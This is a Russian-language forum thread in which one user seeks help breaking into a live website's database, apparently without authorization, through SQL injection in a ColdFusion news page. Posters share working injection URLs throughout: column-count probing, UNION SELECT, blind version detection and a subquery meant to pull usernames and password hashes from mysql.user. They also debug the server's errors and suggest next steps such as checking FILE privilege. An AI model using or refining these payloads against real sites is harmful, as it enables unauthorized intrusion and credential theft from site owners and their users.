Всем доброго времени суток! Вот и мне пришлось перейти из читателей в вопрошатели. Есть сайт в БД которого хотелось бы заглянуть. Место для SQL INJ http://site//news.cfm?id=1%20and%201=1 - работает отлично. Странности начинаются при подборе количества полей с помощью GROUP BY, если значение больше количества столбцов все нормально - ошибка с неизвестным столбцом. Но если GROUP BY 1, то все равно ошибка: Code: Error Occurred While Processing Request Error Diagnostic Information ODBC Error Code = 51 () [MERANT][ODBC MySql driver][MySql]You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'GROUP BY 1' at line 1 The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (16:1) to (16:42) in the template file /ххх/news.cfm. Query String: id=1%20GROUP%20BY%201 Ну да не беда, выяснить количество столбцов можно и так - их там 14. Но вот news.cfm?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14 тоже не получается, ошибка Code: Error Occurred While Processing Request Error Diagnostic Information ODBC Error Code = 51 () [MERANT][ODBC MySql driver][MySql]You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14' at line 1 The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (11:1) to (11:36) in the template file /xxx/news.cfm. Query String: id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14 Если после id=-1 ставить какие-либо знаки, то именно они вызывают ошибку, Любой из видов комментария в конце строки ни чего не меняет. На вид ни чего не фильтруетя, но запросы не выполняются. Что происходит, почему не получается выполнить запрос, где ошибка? З.Ы. Судя по приметам мускул старый, он не знает INFORMATION_SCHEMA.TABLES. Думал может он на столько стар что не знает про UNION, но и корректные на вид зпросы без него не выполняет.
у меня подозрения, что ошибка при UNION действительно возникает из-за старой версии MySQL (меньше четвертой)
сравни Code: http://site/page.cfm?id=216+and+substring(version(),1,1)=5/* http://site/page.cfm?id=216+and+substring(version(),1,1)=4/* http://site/page.cfm?id=216+and+substring(version(),1,1)=3/* для 5.4.3 ветки соответственно определение версий
Спасибо за совет. Таким образом выяснил версию - 4.0.1, а Union вроде как с 4.1. Дальнейшее напрваление пока понятно.
Набросал на перле перебиралку по дереву, получилась полная версия "4.0.18-standard", с user() и database() естественно тоже все ок. Вроде все было понятно, но тут снова грабли - не работает id=1%20and%20ascii(substring((select%20concat_ws(0x3a,user,password)%20from%20mysql.user),1,1))=61 говорит You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'select concat_ws(0x3a,user,password) from mysql.user),1,1))=61' Чем ему select не угодил?
ты же сам написал что 4.0.18, а подзапросы у нас с 4.1 последнее что тут можно попробовать - есть ли файл прив у твоего юзверя, а также попробовать догадаться нет ли именно в той табле где ты находишься юзерских данных, в чем я сомневаюсь, у тебя вероятней всего табла новостей или чего-нибудь подобного ЗЫ ты маленько перепутал. union c 4, подзапросы с 4.1 )